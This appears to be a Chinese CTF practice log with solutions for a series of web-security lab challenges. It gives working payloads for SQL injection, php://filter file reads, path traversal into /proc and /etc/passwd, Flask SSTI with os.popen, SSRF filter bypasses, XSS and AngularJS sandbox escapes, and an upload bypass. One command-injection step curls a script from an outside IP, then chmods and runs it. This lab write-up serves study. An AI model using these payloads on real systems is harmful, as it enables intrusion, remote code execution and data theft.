CTF刷题记录(五)
[第一章 web入门]SQL注入-1
?1’#有回显,说明存在注入点(playload都要进行url编码才能上传成功)
?id=0' order by 3#有回显,4则没有,说明存在3个注入点
? 0' union select 1,2,3#回显2,3,说明回显位置为2,3
?0' union select 1,database(),3#查数据库,为note
?0' union select 1,table_name,3 from information_schema.tables where table_schema='note' limit 0,1#,查表名,为fl4g
?0' union select 1,column_name,3 from information_schema.columns where table_name='fl4g' limit 0,1#,查字列,为fllllag
? 0' union select 1,fllllag,3 from fl4g limit 0,1#,查字段得flag
[第一章 web入门]SQL注入-2
根据提示访问login.php/?,存在盲注,
正确回显“error”:1,“msg”:"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"
错误回显“error”:1,“msg”:"\u8d26\u53f7\u4e0d\u5b58\u5728
爆破脚本,一步一步查数据得到flag
[第一章 web入门]afr_1
利用伪协议
读取flag的base64编码
Playload: ?p=php://filter/read=convert.base64-encode/resource=flag
解码得flag
[第一章 web入门]afr_2
源码给出提示,图片在img目录下
访问该目录,存在目录穿越
访问img../,下载flag
[第一章 web入门]afr_3
根据题目提示找到读取文件途径
../../../etc/passwd查看系统用户配置文件
,没有什么有用信息
../../../proc/self/cmdline查看当前进程cmdline参数
../../../proc/self/cwd/server.py查看该程序代码
,存在flag.py和key.py
../../../proc/self/cwd/flag.py,不允许访问
../../../proc/self/cwd/key.py得到信息
查看代码,意思是flag在flag.py,key.py就是flask的app.secret_key,存在ssti漏洞
,伪造flask的session即可访问flag.py
Session
: session和cookie的作用有点类似,都是为了存储用户相关的信息。不同的是,cookie是存储在本地浏览器,而session存储在服务器。
使用flask-session-cookie-manager-master工具伪造session
一些python魔法方式
:
__class__ 返回类型所属的对象(类)
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
构造语句:
{'n1code’:’{{\’\’.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\’os\’].popen(\’cat flag.py\’).read()}}’} //使用工具时,由于用到python环境,要把转义单引号
使用工具-s 传入key -t传入构造语句,加密得到伪造的session
上传伪造的session,得到flag
[第二章 web进阶]SSRF Training
根据题目提示找到源码,分析如下
对于关键函数的测试
结果如图
通过构造url,能够绕过私有地址检测,从而执行else中的操作,读取flag.php
构造:
url=https://a:@127.0.0.1:80@hao123.com/flag.php
测试
上传得flag
[第二章 web进阶]死亡ping命令
创建字典:
"~","!","@","#","$","%","^","&","*","(",")","-","_","\\","[","]"," ' ","%0a","%0b","%0c","%0d"
在burpsuite进行fuzz测试
,找到回显长度不同的符号
逐个测试,找到不被过滤的符号**%0a(换行符)**
打开一个靶机
编写一个sh
监听端口
请求bash到tmp目录
ip=127.0.0.1%0acurl 117.21.200.166/1.sh > /tmp/1.sh
给bash加权限
给bash加权限
ip=127.0.0.1%0achmod 777 /tmp/1.sh
执行1.sh
监听到flag n1book{6fa82809179d7f19c67259aa285a7729}
[第二章 web进阶]XSS闯关
level1?username=<script>alert(1)</script>
2.查看源码,参数username被escape函数编码,从而过滤了通过username参数的注入
解决办法是不用username参数注入,
’进行闭合,直接过滤,
;执行下一个语句,
//注释掉多余的’
level2?username=';alert(1);//
得到
3.查看源码
输入level2注入语句,可知’被注释掉了
再加一个’就能绕过,'';alert(1);//
level3?username='';alert(1);//
4.有一个重定向的伪链接
查看源码,get方式获取重定向链接,修改链接值即可
level4?jumpUrl=javascript:alert(1)
5.查看源码,get方式传入参数,有两个限制
Autosubmit!=0且action!=0
构造参数:
?autosubmit=1&action=javascript:alert(1)绕过第一个参数,执行第二个参数动作
6.输入{{2*2}}回显,说明存在模板注入
看源码,发现是AngularJS1.4.6版本
查阅对应版本模板注入,{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}直接套用
得到flag
[第二章 web进阶]文件上传
题目直接给出了源码,得到过滤信息:
1.仅允许上传zip、jpg、gif、png文件
2.如果上传压缩包,压缩包内不允许含有php文件
上传一个含有php的zip
要绕过php,改成phtml,上传成功,问题是不知道路径
上传成功后会在upload下随机生成一个md5目录存放文件,也就是说很难拿到文件的路径,设法绕过这个目录,让文件存储在根目录下
010 editor
修改文件名,使之存在根目录下(修改的时候现在原来的文件名预留足够的位置)
文件名换成php.xx(Apache解析漏洞
)
Apache解析漏洞
:
一个文件名为test.php.aaa.bbb.ccc的文件,Apache会从ccc的位置往php的位置开始尝试解析 ,如果ccc不属于Apache能解析的后缀名,那么Apache就会尝试去解析bbb,这样一直往前尝试,直到遇到一个能解析的拓展名为止
上传后访问,得到flag
[第三章 web进阶]Python里的SSRF
题目给出了提示
构造
url=http://127.0.0.1:8000/api/internal/secret
127.0.0.1被禁止
换成127.0.0.2,得到flag
绕过ip限制
:
1、@绕过:
127.0.0.1和[www.baidu.com@127.0.0.1](http://www.baidu.com@127.0.0.1)解析结果一样
2、localhost或者0.0.0.0代替
3、在线转换短网址代替